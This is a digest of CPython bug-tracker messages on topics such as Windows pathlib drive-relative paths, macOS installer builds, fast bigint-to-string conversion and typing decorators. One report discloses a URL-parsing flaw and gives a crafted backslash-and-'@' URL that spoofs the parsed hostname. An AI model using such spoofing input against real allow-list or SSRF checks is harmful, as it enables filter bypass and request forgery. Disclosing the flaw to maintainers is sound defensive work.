In Windows, paths that are relative to the current directory on a drive aren't resolved. The following should be resolved by the current code:
>>> os.chdir('C:/Temp')
>>> pathlib.Path('C:').absolute()
WindowsPath('C:')
But _from_parts() has bugs with drive-relative paths.
Assuming the bugs are fixed, when a path has a drive, Path.absolute() should resolve against abspath(self.drive) instead of getcwd().

Message-ID: <1643492828.01.0.034577136128.issue46548@roundup.psfhosted.org>
Ned Deily <nad at python.org> added the comment:
The short answer to the original issue: at the moment, build-installer.py continues to create python.org installers in the legacy bundle installer format that is no longer supported by more modern versions of macOS and there are additional steps that are used to convert the artifacts produced by build-installer.py into a modern flat-package (.pkg) format installer. Those steps are outlined in Mac/BuildScript/README.rst but the exact commands are not provided there. The longer answer is that we have long provided macOS installers that are designed to work on a very wide range of macOS versions and Mac hardware. Up until very recently, the production of an installer required multiple steps on different versions of macOS to be able to meet those requirements, i.e. the build of Python itself had to run on an older system (macOS 10.9) but the flat package and signing has to run on a more recent system to be able to be notarized by Apple. And that manufacturing has evolved over many years as Apple has attempted to enhance macOS security while minimizing the impact on end users (e.g. Gatekeeper, code signing, notarization). As of fairly recently (Python 3.10.1 et al) with the addition to Python of full "weaklinking" support on macOS (along with Apple Silicon and Big Sur support), it is now possible to build on a current system while supporting older systems as well as we now do in the new universal2 installer variant. Since we are still providing the legacy 10.9 Intel-only installer variant for 3.9.x releases, there hasn't been an urgent need to modify the overall manufacturing process yet, but I do plan to do so and document prior to the upcoming 3.11 feature code cutoff (in part to better support Apple Silicon Macs).

The user of a program should not see this exception. The program should translate it to an error that would make sense to the user.

Subject: [issue46577] Hostname spoofing via backslashes in URL
Message-ID: <1643502571.23.0.70657524301.issue46577@roundup.psfhosted.org>
New submission from Dashmeet Kaur Ajmani <dashmeetajmani at gmail.com>:
A URL's hostname can be spoofed by using a backslash (\) character followed by an at (@) character. If the hostname is used in security decisions, the decision may be incorrect.
Impact: Depending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior.
Example URL: "http://google.com:80\\@yahoo.com/#what\\is going on"
Expected behaviour (as returned by NPM urijs):
{
"scheme": "http",
"user": "",
"password": "",
"host": "google.com",
"port": "",
"path": "@yahoo.com/",
"query": "",
"fragment": "what\\is going on"
}
Actual behaviour:
{
"scheme": "http",
"user": "google.com",
"password": "80\\",
"host": "yahoo.com",
"port": "",
"path": "/",
"query": "",
"fragment": "what\\is going on"
}
Expected version is the behavior of other parsers which implement the WHATWG URL specification, including web browsers and Node's built-in URL class.

Without append kwarg, users need two lines to append. It's bad to both readability and writability.
Library developers should focus on bath language and library's design targets, but how frequently used. And as all discussed here, at least one applications scene(logging) benefited from append kwarg. Right?

The test case here is a = (1 << 100000000) - 1, a solid string of 100 million 1 bits. The goal is to convert to a decimal string.
Methods:
native: str(a)
numeral: the Python numeral() function from bpo-3451's div.py after adapting to use the Python divmod_fast() from the same report's fast_div.py.
todecstr: from the Python file attached to this report.
gmp: str() applied to gmpy2.mpz(a).
Timings:
native: don't know; gave up after waiting over 2 1/2 hours.
numeral: about 5 1/2 minutes.
todecstr: under 30 seconds. (*)
gmp: under 6 seconds.
So there's room for improvement ;-)
But here's the thing: I've lost count of how many times someone has whipped up a pure-Python implementation of a bigint algorithm that leaves CPython in the dust. And they're generally pretty easy in Python.
But then they die there, because converting to C is soul-crushing, losing the beauty and elegance and compactness to mountains of low-level details of memory-management, refcounting, and checking for errors after every tiny operation.
So a new question in this endless dilemma: _why_ do we need to convert to C? Why not leave the extreme cases to far-easier to write and maintain Python code? When we're cutting runtime from hours down to minutes, we're focusing on entirely the wrong end to not settle for 2 minutes because it may be theoretically possible to cut that to 1 minute by resorting to C.
(*) I hope this algorithm tickles you by defying expectations ;-) It essentially stands `numeral()` on its head by splitting the input by a power of 2 instead of by a power of 10. As a result _no_ divisions are used. But instead of shifting decimal digits into place, it has to multiply the high-end pieces by powers of 2. That seems insane on the face of it, but hard to argue with the clock ;-) The "tricks" here are that the O(log log n) powers of 2 needed can be computed efficiently in advance of any splitting, and that all the heavy arithmetic is done _in_ the `decimal` module, which implements fancier-than-Karatsuba multiplication and whose values can be converted to decimal strings very quickly.

Ha! This will never die. More discussion in bpo-46558.
Ya, I already closed it, but don't want to. I opened it to begin with to record an int->str method that doesn't use division, so it didn't really belong on this report.
What if we _didn't_ convert these things to C? That's the primary question the new report gets around to asking. These things are far easier to write, understand, and maintain in Python, and converting to C is generally only improving a constant factor, or _maybe_ removing a log(n) factor. When we're looking at massive O() improvements, squeezing those out is of comparatively little value.

The message is off, and can be left for another issue (or not), but the behavior is correct.
With the hack removed, all the tests in test_codeop that the hack works can be removed and replaced by a simple test that a code object, error, or None are returned in 3 different cases.

os.environ defines the __delitem__ method to call C unsetenv(). Thus `del os.environ[varname]` does unset the environment variable, at least at the level of the C runtime.

Thanks for the suggestion but I'm going to decline.
* The need for this is very low.
* It's easy to roll your own.
* The code for `count('', 'a')` and `count((), (1,))` isn't intelligible.
* Without special casing, the code for `count('', 'a')` and `count((), (1,))` is highly inefficient. We advise people not to use the 's = s + t' pattern in a loop for sequences because it leads to quadratic behavior.

When i try to execute --link.exe *.obj-- on windows 11, i get one error
LIB : fatal error LNK1181: cannot open input file 'Files.obj'
It looks like a space path error
so i run [os.spawnv(link.exe)] alone try to find out where made this error.
But i cant DEBUG os.spawnv() on Pycharm.
When the cursor on os.spawnv() line then press [Step Into], cursor jump to ntpath.py (216) it's in "def basename()" not in os.py "def spawnv()"
so this issue contain 2 parts
1.space error such as "Program Files (x86)"
2.DEBUG cant jump to right place
Here is my salmpe code.I have tried python3.8 and python3.10 both same error

Subject: [issue46571] Strange `@typing.no_type_check` behavior for class
variables
In-Reply-To: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org>
Message-ID: <1643527886.73.0.445024612157.issue46571@roundup.psfhosted.org>
Nikita Sobolev <mail at sobolevn.me> added the comment:
## 1. What is documented?
The docs makes this even more weird!
> @typing.no_type_check
> Decorator to indicate that annotations are not type hints.
> This works as class or function decorator. With a class, it applies recursively to all methods defined in that class (but not to methods defined in its superclasses or subclasses).
> This mutates the function(s) in place.
https://docs.python.org/3/library/typing.html#typing.no_type_check
Docs do not mention modifing nested classes at all! So, it looks like the `(1)` solution.
## 2. What does it do now?
It modifies nested types, even ones used in assignments.
## 3. How is that used by runtime type inspectors?
I've made a little research:
1. Hypothesis (I help with maintaining its typing API) does not support `@no_type_check` at all: https://github.com/HypothesisWorks/hypothesis/issues/3225
2. Pydantic, looks like `@no_type_check` does not change anything at all.
```
from pydantic import BaseModel
from typing import no_type_check
@no_type_check # the same with and without this decorator
class MyModel(BaseModel):
a: int
print(MyModel(a=1)) # ok
print(MyModel(a='1a')) # ok
# pydantic.error_wrappers.ValidationError: 1 validation error for MyModel
# a: value is not a valid integer (type=type_error.integer)
```
So, it always tries to coerce types. Docs: https://pydantic-docs.helpmanual.io/usage/types/
They also use it inside their own code-base: https://github.com/samuelcolvin/pydantic/search?q=no_type_check Probably for `mypy` to be happy.
3. `dataclasses` and `attrs` - nothing changes. Both do not use neither `@no_type_check` nor `get_type_hints` inside.
Attrs: https://github.com/python-attrs/attrs/search?q=get_type_hints
4. Beartype: https://github.com/beartype/beartype
> We've verified that @beartype reduces to the identity decorator when decorating unannotated callables. That's but the tip of the iceberg, though. @beartype unconditionally reduces to a noop when:
> The decorated callable is itself decorated by the PEP 484-compliant @typing.no_type_check decorator.
So, as far as I understand, they only have `@no_type_check` support for callables. Related test: https://github.com/beartype/beartype/blob/50b213f315ecf97ea6a42674defe474b8f5d7203/beartype_test/a00_unit/a00_util/func/pep/test_utilpep484func.py
So, to conclude, some project might still rely on current behavior that nested types are also implicitly marked as `@no_type_check`, but I cannot find any solid proof for it.
The noticable thing is that this never came up before in ~6 years while this logic exists: https://github.com/python/cpython/blame/8fb36494501aad5b0c1d34311c9743c60bb9926c/Lib/typing.py#L1969-L1970
It helps to prove my point: probably, no one uses it.
## 3. How is that used by runtime type inspectors?
## 4. What would be most useful to runtime type inspectors?
With all the information I gathered, I've changed my opinion :)
Now I think that we should drop the part with modifing nested types at all (`(1)` solution). Only a type with `@no_type_check` should be modified.
This is what docs say. This will also solve the original problem.
Even if someone relies on current behavior: the fix is not hard, just add `@no_type_check` to nested types as well.
So, do others have any objections / comments / feedback? :)

Gregory P. Smith <greg at krypto.org> added the comment:
re: slow tests in the first half of the list. the same total amount of time is going to be spent regardless. In our test suite on a modern fast 16 thread system, all but 10 tests are completed in parallel within the first 30 seconds. The remaining ~10 take 10x+ that wall time more minutes.
So the most latency you will shave off on a modern system is probably <30 seconds. On a slower system the magnitude of that will remain the same in proportion. CI systems are not workstations. On -j1 or -j2 system I doubt it will make a meaningful difference at all.
Picture test execution as a utilization graph:
```
|ttttttttttttttttttttttt
| tttt
| ttt
| tttttttttt
+----------------------------------------
```
The total area under that curve is going to remain the same no matter what so long as we execute everything. Reordering the tests can pull the final long tail in a bit by pushing out the top layer. You move more towards an optimal rectangle, but you're still limited by the area. **The less -jN parallelism you have as CPU cores the less difference any reordering change makes.**
What actual parallelism do our Github CI systems offer?
The fundamental problem is that we do a LOT in our test suite and have no concept of what depends on what and thus _needs_ to be run. So we run it all. For specialized tests like test_peg_generator and test_tools it should be easy to determine from a list of modified files if those tests are relevant.
That gets a lot more complicated to accurately express for things like test_multiprocessing and test_concurrent_futures.
test_peg_generator and test_tools are also *packages of tests* that themselves should be parallelized individually instead of considered a single serialized unit.
At work we even shard test methods within TestCase classes so that big ones can be split across test executor tasks: See the _setup_sharding() function in absltest here: https://github.com/abseil/abseil-py/blob/main/absl/testing/absltest.py#L2368
In absence of implementing an approach like that within test.regrtest to shard at a more granular level thus enabling us to approach the golden rectangle of optimal parallel test latency, we're left with manually splitting long running test module/packages up into smaller units to achieve a similar effect.

> os.environ defines the __delitem__ method to call C unsetenv(). Thus `del os.environ[varname]` does unset the environment variable, at least at the level of the C runtime.
For the current process, yes. But it's not that what the user needs to do to fix the problem is to define an environment variable and rerun the program.

Gregory P. Smith <greg at krypto.org> added the comment:
If a decent parallelism CI systems are not available from github (they seem stuck at 2-3 threads per https://docs.github.com/en/actions/using-github-hosted-runners/about-github-hosted-runners), an alternative approach could be to shard across multiple parallel CI tasks. Shard such that each one gets only one of the slow tests.
Unfortunately if each of these were a line item in Github's poor CI UI sharding a single config's tests across 5-10 tasks would be a nightmare to navigate on a PR. I expect everyone would hate that.
Providing our own runners with decent parallelism could help: https://docs.github.com/en/actions/hosting-your-own-runners/about-self-hosted-runners
But we're always going to be bound by our longest tail test if we don't fix our test parallelism to be more granular.

That's because the tokenizer sees the error before the parser even has time to see the other one. Not sure if is technically anything to fix here other than the order of reporting two different errors, which may be a bit tricky to fix.

New users who want to add lines to a file will see this method and do:

Which repeatedly opens/closes the file. This is a foot-shotgun; it
shouldn't be added to pathlib IMO.

The problem is, that Python?s install target depends on the system-wide setuptools, if there is system-wide setuptools. If there is no system-wide installed setuptools, apparently the installation works flawlessly.
The solution is to tweak the source code of Python, not to depend on (system-wide installed) Python code outside of Python?s tarball.

CPython's build system does not depend on setuptools.
The problem is that setuptools 60.0 introduced a .pth file and _distutils_hack to inject itself into Python import system. Under some circumstances Python's build system is affected by the hack and breaks.

New submission from Matt B <eb3f73+python+org at yaymail.com>:
c55ff1b352f8b82184f80d9dea220e832691acfc was submitted to fix #44098 and added the _typevar_types and _paramspec_tvars properties to _GenericAlias. However, those properties continue to be omitted from _GenericAlias.copy_with[1].
Further, typing.py is fairly intricate, which makes it hard to understand if that is the only place those properties are absent. A more careful review/audit may be in order.

Message-ID: <1643553495.3.0.869043137908.issue46583@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Right now `selectors.py` contains this check on module-level:
```
if sys.version_info >= (3, 5):
...
```
Source: https://github.com/python/cpython/blame/8fb36494501aad5b0c1d34311c9743c60bb9926c/Lib/selectors.py#L53
Learning from other modules, we tend to remove lines like this when some python version reaches EOL. And since 3.4 is not support for a long time now, this condition is always true.
I propose to delete it.

Wow! Thanks, that's an interesting find. My hunch is that we should be passing in _typevar_types and _paramspec_tvars in the copy_with of _GenericAlias and _ConcatenateGenericAlias. Inconsistent copy_with could trigger subtle bugs in ForwardRefs and get_type_hints. I can reproduce a semi-bug right now:
>>> P = ParamSpec('P')
>>> Callable[P, int].__parameters__
(~P,)
>>> Callable[P, int].copy_with((P,int))
typing.Callable[~P, int]
>>> Callable[P, int].copy_with((P,int)).__parameters__
()
^ This shouldn't be empty!!
Would you like to submit a patch for this?

Is the existence of this entity, as separate from the constant `True`, documented anywhere? constants.rst doesn't seem to acknowledge it. Indeed, is its existence a feature, or is it a CPython quirk?

I fully withdraw my suggestion of deprecating the decorator; it's evidently used more than I realised. I don't have any strong opinion on whether (1) or (2) would be a better solution.

version check
Message-ID: <1643554560.13.0.0620214587258.issue46584@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Right now Lib/ctypes/test/test_python_api.py has these lines:
```
if sys.version_info > (2, 4):
c_py_ssize_t = c_size_t
else:
c_py_ssize_t = c_int
```
Source: https://github.com/python/cpython/blame/8fb36494501aad5b0c1d34311c9743c60bb9926c/Lib/ctypes/test/test_python_api.py#L13-L16
I think that there's no reason to keep code compat for python versions `<=2.3`. Other modules in CPython do refactor this by removing old and unused code, especially in tests.
I propose to do the same here.

Message-ID: <1643555029.82.0.98723415046.issue46585@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
After looking at https://github.com/python/cpython/blame/8fb36494501aad5b0c1d34311c9743c60bb9926c/Lib/ctypes/test/test_python_api.py#L5-L10 in https://bugs.python.org/issue46584
it seems that we should address this comment:
```
# This section should be moved into ctypes\__init__.py, when it's ready.
from _ctypes import PyObj_FromPtr
```
by either:
1. Making `PyObj_FromPtr` public by re-exporting it from `ctypes`
2. Removing this comment
Arguments for `(1)`:
- It is quite widely used and there are a lot of articles mentioning it: https://www.programcreek.com/python/example/77012/_ctypes.PyObj_FromPtr and https://programtalk.com/python-examples/_ctypes.PyObj_FromPtr/ Basically, Google is filled with results.
- It looks useful for educational purposes.
I don't think that I am familiar with `ctypes`'s history well enough to make an educated dicision here.
But, I would love to work on this after this decision is made :)

Message-ID: <1643555688.39.0.0858908096334.issue46587@roundup.psfhosted.org>
New submission from Christian Heimes <lists at cheimes.de>:
Several test cases for datetime and time modules use the non-standard and non-portal width prefix for strftime:
>>> datetime.date(42, 1, 1).strftime("%4Y")
'0042'
According to man strftime(3) https://man7.org/linux/man-pages/man3/strftime.3.html the width field is glibc-specific extension:
> Glibc provides some extensions for conversion specifications.
> (These extensions are not specified in POSIX.1-2001, but a few
> other systems provide similar features.) Between the '%'

> flag and field width may be specified.
The width field is not supported by Emscripten, which only implements POSIX.1-2001 compatible date and time formatting: https://github.com/emscripten-core/emscripten/blob/3.1.2/src/library.js#L735

Ken Jin, Jelle, can you please share your ideas why `(2)` is better than `(1)`?

1. Less change in behavior
2. From the purpose of the decorator, it makes sense for it to apply to nested classes as well as methods, even if the docs don't say so explicitly.

I agree that Jelle's proposal (Nikita's #2) looks best *if* we can implement it.
How do we ensure that
class A:
...
@no_type_check
class B:
AA = A
class C:
...
...
suppresses annotations in B and C but not in A?

PR 29396 and PR 29501 didn't get backported to 3.8 in November. Probably that was intentional since 3.8 only gets security fixes since 3.8.10, which was released in May. Supporting a newer build environment isn't a security issue. A core developer could make an exception for this case, so I'll leave this open for now.

Alternatively, one can cast the address to py_object and dereference its `value`. For example:
>>> obj = bytearray(b'spam')
>>> sys.getrefcount(obj)
2
>>> obj2 = ctypes.cast(id(obj), ctypes.py_object).value
>>> obj2 is obj
True
>>> sys.getrefcount(obj)
3
>>> del obj2
>>> sys.getrefcount(obj)
2

Message-ID: <1643568544.59.0.400881904431.issue46578@roundup.psfhosted.org>
Eryk Sun <eryksun at gmail.com> added the comment:
> cmd310 = ["/LIBPATH:D:\\python310\\lib\\site-packages\\torch\\lib",
The `argv` parameter of os.spawnv() should begin with a command name to ensure that the application parses its command-line correctly. This doesn't necessarily have to be a file path since the `path` argument is what gets executed. For example, in this case I would use `cmd310 = ["link", ...]`.
That said, for various reasons, including the correct quoting of command-line arguments that contain spaces, I recommend that you use the subprocess module instead of os.spawnv(). For example, use `p = subprocess.run(cmd310, executable=executable)`. The first item of the argument list still needs to be "link" in this case. Or include the full path of "link.exe" at the start of cmd310, and use `p = subprocess.run(cmd310)`.
> But i cant DEBUG os.spawnv() on Pycharm.
In Windows, os.spawnv() is a builtin function from the nt extension module, defined in Modules/posixmodule.c. It is not defined in os.py. The C implementation is a minimal wrapper around the C runtime's _wspawnv() function [1]. Probably PyCharm isn't capable of debugging a builtin function.

Ok, I can definitely agree with Serhiy pov: "True" is a keyword that always evaluates to the object that you get when you call bool(1). There is usually no name "True" and directly assigning to it is forbidden. But there are various other ways to assign a name "True". One is eg globals("True") = 5, another one (discussed in this issue) is using identifiers that NFKC-normalize to the string "True".

Why was it decided to not raise a syntax error when the NFKC normalization of a non-ASCII token matches a keyword? I don't see a use for cases such as `?? = 1` and `?? + 1`. It seems the cost in terms of confusion far outweighs any potential benefit.

There's currently not much documentation in `typing.py` for `_GenericAlias`. Some fairly weird things go on in there, so it would be great to have more info in the class about what's going on and why various edge cases are necessary.

Somebody pointed me to V8's implementation of str(bigint) today:
https://github.com/v8/v8/blob/main/src/bigint/tostring.cc
They say that they can compute str(factorial(1_000_000)) (which is 5.5 million decimal digits) in 1.5s:
https://twitter.com/JakobKummerow/status/1487872478076620800
As far as I understand the code (I suck at C++) they recursively split the bigint into halves using % 10^n at each recursion step, but pre-compute and cache the divisors' inverses.

New submission from meow <4d656f77 at gmail.com>:
before version
#define Py_INVALID_SIZE (Py_ssize_t)-1
after version
#define Py_INVALID_SIZE ((Py_ssize_t)-1)
I think that the after version is more safety.
thanks to read this request.

Message-ID: <1643587222.79.0.161710298492.issue38295@roundup.psfhosted.org>

> Is there anything more to do here?
A belated response: probably not, so I'm OK with closing this.
A quick check shows that macOS behavior has changed a bit on more recent releases. On current macOS Big Sur (11.6.3) and Monterey (12.2) releases, Bo's test:
$ python3 -c 'import os; open(os.path.relpath("/tmp/test.txt"), "w")'
now works and Ronald's touch example now fails with a somewhat more meaningful message:
$ touch ../../foo.txt
touch: ../../foo.txt: Read-only file system
In general, though, even on pre-APFS older macOS systems, it is still best to avoid or at least be very careful about using /tmp with any sort of relative path testing because of the linking of /tmp to /private/tmp. :(

Subject: [issue46591] Make About IDLE links clickable
Message-ID: <1643591753.6.0.172219328947.issue46591@roundup.psfhosted.org>
New submission from Terry J. Reedy <tjreedy at udel.edu>:
I am opening this for a PR submitted without an issue. The PR (not yet reviewed) makes the online IDLE doc link clickable.
Since a local copy of the online html page is also available on the Help menu, that link is almost unneeded. But when using the online version, one can navigate to other parts of the doc.
There is also a mailto: link. For me, on Windows, wb.open("mailto:me at mail.addr") works and returns True (not documented). Is this system dependent? I have previously seen mention that 'file:' links only work on some systems. Maybe this has changed. I would like to know more before addding this.
I am a bit worried about making spam easier and moderation of non-subscriber posts (by me) harder. I would only want a link on a new Report Bugs page that explained how to search bpo, with a link to its search page with component:IDLE selected, and explanation of what to include in a bug report.
Before activating this, I would like to know what happens on a system where it does not work. (The doc

Message-ID: <1643593725.81.0.337966744961.issue46540@roundup.psfhosted.org>
Ned Deily <nad at python.org> added the comment:
Thanks for the report but there are a lot of variables here that make this very difficult to act on. First, there have been many changes in macOS 10.15 regarding file permissions and file system layouts (with APFS et al) and further changes in the more recent versions of macOS, 11 Big Sur and now 12 Monterey. Further, Python 3.7 is now in the security-fix-only phase of its life cycle which means we no longer produce binary installers for macOS or Windows for 3.7. 3.7.9 was released prior to the official release of macOS 11 and so, as noted on the changelog for 3.7.9, macOS 11+ is not fully supported by 3.7.x. We have also learned more about these operating systems since then and there are changes in Python and in how we manufacture python.org macOS installers that are reflected in current releases of Python 3.9.x and 3.10.x. Beyond that, AFAIK, we do not do any testing of macOS NFS clients or servers and have no setup for that at hand. And throwing in a third-party extension module (shiboken2.abi3.so) plus use of @rpath on top of all that adds even more variability.
My suggestion is to try to reproduce this with a current, fully-supported python.org macOS installer download (i.e. the 3.10.2 universal2 installer) and preferably on a current version of macOS, currently 12.2 or possibly 11.6.3, and also check "System Preferences" -> "Security & Privacy" -> "Privacy settings" like "Full Disk Access" and "Files and Folders"; if problems persist, try doing some dynamic loader debugging using the DYLD_* environment variables documented in the macOS dyld man page (man dyld). Otherwise, as your issue stands now, it seems unlikely that anyone here would be willing to invest the significant time to try to reproduce and debug what seems to be an unusual macOS configuration with out-of-date OS and Python versions.
Perhaps a simpler option is to just avoid use of NFS file systems on macOS for this purpose.
Sorry I don't have a more positive answer for you.

Tim Peters <tim at python.org> added the comment:
The factorial of a million is much smaller than the case I was looking at. Here are rough timings on my box, for computing the decimal string from the bigint (and, yes, they all return the same string):
native: 475 seconds (about 8 minutes)
numeral: 22.3 seconds
todecstr: 4.10 seconds
gmp: 0.74 seconds
"They recursively split the bigint into halves using % 10^n at each recursion step". That's the standard trick for "output" conversions. Beyond that, there are different ways to try to use "fat" multiplications instead of division. The recursive splitting all on its own can help, but dramatic speedups need dramatically faster multiplication.
todecstr treats it as an "input" conversion instead, using the `decimal` module to work mostly _in_ base 10. That, by itself, reduces the role of division (to none at all in the Python code), and `decimal` has a more advanced multiplication algorithm than CPython's bigints have.

> todecstr treats it as an "input" conversion instead, ...
Worth pointing this out since it doesn't seem widely known: "input" base conversions are _generally_ faster than "output" ones. Working in the destination base (or a power of it) is generally simpler.
In the math.factorial(1000000) example, it takes CPython more than 3x longer for str() to convert it to base 10 than for int() to reconstruct the bigint from that string. Not an O() thing (they're both quadratic time in CPython today).

Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:
There is nothing wrong with writing two lines of code. And two lines of code may be more readable than one line of code. New method or parameter has a cost -- core developers need to maintain it, update documentation and tests if they conflict with new features, user will need to learn about it, remember differences between Python versions and implementations of different Path-like objects, it can be only used after dropping support of older Python versions, and it may be a source of common mistakes.
If you think that it is so important to use a single call for appending to a file, you can create a module which provides functions append_text() and append_bytes(). They could be used even in Python versions older than 3.11.

michaellongge <michaellongge at 163.com> added the comment:
I can't use subprocess. Because the original problem is not that I want to use os.spawnv(). The original problem is that I go to install python3d, use setup.py install, the returned information shows that the compilation is completed, the link is also completed, and the installation is also completed. Done, but the pytorch3d folder is in the D:\Python38\Lib\site-packages\pytorch3d-0.6.1-py3.8-win-amd64.egg folder, which seems to be wrong because I moved it manually It can be used normally outside pytorch3d-0.6.1-py3.8-win-amd64.egg. (I wrote the detailed issue here [https://github.com/facebookresearch/pytorch3d/issues/1052]) So I I tried to use pycharm to debug the process. I wanted to see where the installation error was, so I encountered the problem of os.spawnv(). If you want to find the installation problem, you must first compile and link. This LIB: fatal error LNK1181: just Occurs in the link stage spawn.py (69). The strange thing is that the operation will not report an error, but DEBUG will report an error.
So my salmpe code is all separated from D:\Python38\Lib\distutils\spawn.py (69), when the breakpoint stops here, rc = os.spawnv(os.P_WAIT, executable, cmd) The corresponding parameters are written in samlpe, here is another sample of mine, which can also be installed on my PC, but cannot use DEBUG for Pycharm

The report/justification for the removal is simply incorrect. Linux still supports s390-*-linux-gnu in user mode. The GNU toolchain is maintained, and the glibc testsuite is in good shape. Some distributions still support s390 (31-bit) applications. Others (Fedora 24 or later, for example) no longer do so.
I expect that 31-bit s390 Linux Python is really unusual these days, so removing it could still be fine, but lack of support from the GNU toolchain or the Linux kernel is not the correct justification for its removal.
If you have questions about the maintenance status of various parts of the GNU toolchain, please feel free to reach out to any of the GNU lists.

Tread carefully when changing decades-old API, documented or not. The docs weren't always as useful and complete as they are now.
> If the advice for something is "use Python", we should probably add an API function.
Not really. If PyObject_GetAttrString doesn't add too much overhead, IMO it's fine to use it.

Message-ID: <1643634385.9.0.941412208624.issue46592@roundup.psfhosted.org>
New submission from Jonatan Skogsfors <jonatan at skogsfors.net>:
Consider the following code :
Python 3.10.2 (main, Jan 31 2022, 12:03:48) [GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from datetime import datetime
>>> datetime.strptime("2021-53-1", "%Y-%W-%w").strftime("%c")
'Mon Jan 3 00:00:00 2022'
And also:
>>> datetime.strptime("2021-53-1", "%G-%V-%u").strftime("%c")
'Mon Jan 3 00:00:00 2022'
2021 is a "short year" with 52 weeks (e.g. since December 31 is on a Friday). The 53rd week of 2021 is interpreted by Python as week 1 of 2022. This can be convenient but as I understand it, it is not a part of ISO 8601 and it is not documented as a deviation in the documentation for datetime.
As a comparison, the special behavior of week 0 (also not part of ISO 8601) is documented. In the documentation for format directive "%W" it is stated that "All days in a new year preceding the first Monday are considered to be in week 0."
If the behavior for week 53 is intended (as opposed to raising an error) I think it should be documented.

I've created a draft PR in https://github.com/python/cpython/pull/31034
It is still missing tests and I have not checked it on Windows, hence still a draft.

test_lib2to3 crash if Python is built with clang when running test_all_project_files() of lib2to3.tests.test_all_fixers.Test_all. This test crash on processing the file: "Lib/lib2to3/tests/data/infinite_recursion.py".
The GH-30855 change increased the usage of the stack memory when Python is built with clang:

Subject: [issue46593] memoryview lacks support for half floats
Message-ID: <1643642940.05.0.703714910656.issue46593@roundup.psfhosted.org>
New submission from Antoine Pitrou <pitrou at free.fr>:
The struct module has support for half-floats (the "e" format code) but support is not fully enabled in the memoryview object.
Let's contrast float32 (the "f" format code), which you can cast to, and read as Python objects:
>>> a = np.array([0.0, -1.5], np.float32())
>>> list(memoryview(a))
[0.0, -1.5]
>>> memoryview(a.tobytes()).cast('f').tolist()
[0.0, -1.5]
and float16, where support is minimal (casting forbidden, reading as Python objects unimplemented):
>>> a = np.array([0.0, -1.5], np.float16())
>>> list(memoryview(a))
Traceback (most recent call last):
File "<ipython-input-15-102982f8ac8e>", line 1, in <module>
list(memoryview(a))
NotImplementedError: memoryview: format e not supported
>>> memoryview(a.tobytes()).cast('e').tolist()
Traceback (most recent call last):
File "<ipython-input-25-78df215a7360>", line 1, in <module>
memoryview(a.tobytes()).cast('e').tolist()
ValueError: memoryview: destination format must be a native single character format prefixed with an optional '@'

Aaron Gokaslan <aaronGokaslan at gmail.com> added the comment:
We didn't want to read colocalsplus directly because we were worried about the stability of that approach and the code complexity / readability. Also, I wasn't aware that colocalsplus would work or if that was lazily populated as well.
The functions used in CPython to extract the args from colocalsplus do not seem to be public and would need to be reimplemented by PyBind11, right? That seems very brittle as try to support future Python versions and may break in the future.
Having a somewhat stable C-API to query this information seems like it would be the best solution, but I am open to suggestions on how to best proceed. How would you all recommend PyBind11 proceed with supporting 3.11 if not a C-API addition? The PyBind11 authors want to resolve this before the API becomes too locked down for 3.11.

`PyCodeObject_GetVariableName()` and `PyCodeObject_GetVariableKind()` work?
- Some public-gettters such as these functions would be ideal.
OOI, how do you cope with non-local self?
- We only care about checking self to prevent an infinite recursion in our method dispatch code so I am not sure a non-local self would be applicable in this case? Correct me if I am wrong.

STINNER Victor <vstinner at python.org> added the comment:
There is an on-going work to move more and more header files into Include/cpython/ subdirectory, or even to the Include/internal/ directory. Examples:
* bpo-35134: Move cellobject.h, classobject.h, context.h, funcobject.h, genobject.h and longintrepr.h to Include/cpython/
* bpo-45434: Move pystrhex.h to Include/internal/
C extensions must only use #include "Python.h":
https://docs.python.org/dev/c-api/intro.html#api-includes
Sadly, many project include directly "inner" header files like "longobject.h" and so this ong-going work break a few projects at each Python 3.x release.
In the meanwhile, you can reorder your include paths to put your project first, or rename object.h to different filename.
---
Yeah, if it wouldn't break any C extension, I would prefer to "hide" all "inner" files under a sub-directory, or by renaming them. But right now, it's possible.

Guido van Rossum <guido at python.org> added the comment:
Since we decided to wait on the int operations while longobject.c is being refactored (https://github.com/faster-cpython/ideas/issues/245), can you clarify whether the speedup reported is from code where it is implemented only for floats, or is it from a prototype where it's implemented for floats and ints?

"C:" or "C:spam\\eggs" are not absolute paths. They depend on the effective working directory on the drive. An absolute path should never depend on a working directory, which can change at random.
WinAPI SetEnvironmentVariableW() allows applications to set environment variables with names that begin with "=". These names are effectively reserved for special use by the OS, at least as documented. In particular, names of the form "=X:", where "X" is a drive letter, are used to store the working directory on a drive. The C runtime _[w]chdir() function sets these per-drive environment variables, as does Python's os.chdir(). As environment variables, they can be inherited by child processes.
When then Windows API resolves a file path to access a file, or in GetFullPathNameW(), a drive-relative path such as "X:" or "X:spam\\eggs" is resolved against either the current working directory (if it's on the drive) or the value of the "=X:" environment variable for the drive. If the latter isn't defined, it defaults to the root directory, e.g. "X:\\". If the current working directory is on the drive, the system updates the value of the "=X:" environment variable, if it exists.

Yes, if self.drive is defined. This would be handled by os.path.abspath(self.drive), which calls WinAPI GetFullPathNameW().

No, if self.drive is defined, then abspath(self.drive) should be called instead of getcwd(). In Windows, ntpath.abspath() calls WinAPI GetFullPathNameW(), which resolves the working directory on the drive.

@eryksun thanks for flagging, a couple thoughts:
I'd imagine that bug is reproducible with `Path('C:\\Temp', 'C:')` already, right? If that's the case, should it logged as a separate issue?
I'm planning to /experimentally/ throw away pathlib's internal
path parsing logic and defer to `posixpath` / `ntpath` instead. I suspect this bug and others will be fixed by that change, but I need to see what the performance impact will be.

Yes, it's a separate issue that affects the _from_parts() call in absolute().
How about designing absolute() to create a new instance from an absolute path that's created by os.path? For example:
join(abspath(self.drive) if self.drive else getcwd(), self)
Of course use accessor functions.

Message-ID: <1643671307.89.0.0253325125686.issue46594@roundup.psfhosted.org>
New submission from Terry J. Reedy <tjreedy at udel.edu>:
I have Python and hence IDLE 3.8, 3.9, 3.10, and 3.11 installed. When I right click a .py file, and then on "Edit with IDLE >" the sub-menu only has '3.11.0a4' listed. This negates the purpose of having a submenu.
